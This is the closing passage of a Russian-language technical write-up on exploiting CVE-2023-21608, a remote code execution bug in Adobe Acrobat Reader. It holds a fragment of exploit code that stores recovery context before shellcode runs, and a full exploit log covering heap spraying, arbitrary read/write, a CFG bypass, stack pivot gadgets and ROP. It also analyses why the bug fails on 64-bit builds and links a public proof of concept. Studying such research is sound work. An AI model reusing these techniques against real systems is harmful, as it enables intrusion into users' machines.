В приведенном ниже фрагменте показано, как некоторые из исходных значений резервируются перед повреждением, чтобы их можно было восстановить после выполнения шеллкода.
Код:
log("[+] Storing recovery context");
AAW(FAKE_STACK_PTR + 0x60, fieldVtblAddr); // original vtable ptr (goes back in ECX)
AAW(FAKE_STACK_PTR + 0x64, fieldVtbl); // vtable funcs ptr
AAW(FAKE_STACK_PTR + 0x68, originalDefaultValFunc); // original defaultVal impl to jump to
AAW(FAKE_STACK_PTR + 0x6c, AAR(ARRAY_BUFFER_BASE + 8)); // corrupted ArrayBuffer typed array ptr
AAW(FAKE_STACK_PTR + 0x70, AAR(ARR_BUF_MALLOC_BASE)); // malloc header 0
AAW(FAKE_STACK_PTR + 0x74, AAR(ARR_BUF_MALLOC_BASE + 4)); // malloc header 1
Exploit Log
Код:
[+] Acrobat Reader Remote Code Execution
Version: 21.01120039
[+] Spraying ArrayBuffer of size: 0xffe8
[+] Grooming LFH blocks of size: 68 count: 4000
[+] Triggering garbage collection
[+] Triggering vulnerability
[+] Finding required objects
Corrupted ArrayBuffer idx: 4604 byteLength: 0x24043250
addrOf Array start idx: 13221884
addrOf Array idx: 0
[+] Gaining arbitrary read & write primitive
Crafting fake DataView: 0x200001d8
[+] Fixing corrupted objects
Typed array pointer
Typed array node pointers
V1 Idx: 4602 address: 0x131cf240 value: 0xd0b8600 correct value: 0xd0b86a0
ArrayBuffer field
Fake string
[+] Finding required modules
AcroForm.api: 0x6ef70000
KERNEL32.dll: 0x769a0000
VirtualProtect: 0x769c04c0
[+] Finding gadgets in AcroForm.api
CFG bypass gadget: 0x6f66aa60
[+] Stack pivot gadgets
xchg eax, esp; ret: 0x6ef8e5e6
pop esp; ret: 0x6ef8e646
[+] Setting up ROP and shellcode
Payload: 0x2459edd8
[^] Executing payload
[+] Exploit duration: 6.172 seconds
64-bit Exploitation
Уязвимость CVE-2023-21608 также затрагивала 64-битную версию Adobe Reader. Оценили возможность эксплуатации этой ошибки на 64-битной версии. Однако мы столкнулись с двумя серьезными препятствиями:
Распыление кучи больше невозможно в 64-битном адресном пространстве. Следовательно, мы больше не можем полагаться на технику распыления
ArrayBuffer
, описанную выше, для выделения управляемых данных по предсказуемым адресам. Теперь нам нужен отдельный баг
info-leak
для дальнейшей эксплуатации.
Но найти утечку информации - задача несложная. Основная проблема, которая делает этот баг бесполезным для 64-битной эксплуатации, заключается в том, что распыленные строки используются в качестве объектов агрегации, где из распыленной строки создаются новые строки. При создании новой строки учитываются стандартные нулевые терминаторы языка Си. Мы не можем использовать адреса, в которых есть два последовательных байта
NULL
. Это остановит копирование строки, и мы никогда не сможем перераспределить освободившуюся память с контролируемым куском, в котором есть адрес утечки
ArrayBuffer
. Ошибка больше не будет эффективной и воспроизводимой. Это ограничивает нас от возможности эксплуатации этой ошибки на 64-битной версии.
POC
GitHub - hacksysteam/CVE-2023-21608: Adobe Acrobat Reader - CVE-2023-21608 - Remote Code Execution Exploit
Adobe Acrobat Reader - CVE-2023-21608 - Remote Code Execution Exploit - hacksysteam/CVE-2023-21608
github.comDemo
---------------------------------------------------------------
Хочу передать респект всем, кто дочитал эту статью! Я очень устал её писать, если честно... Если вам интересны настолько глубокие разборы, то делитесь статьёй, ставьте лайки и пишите комменты.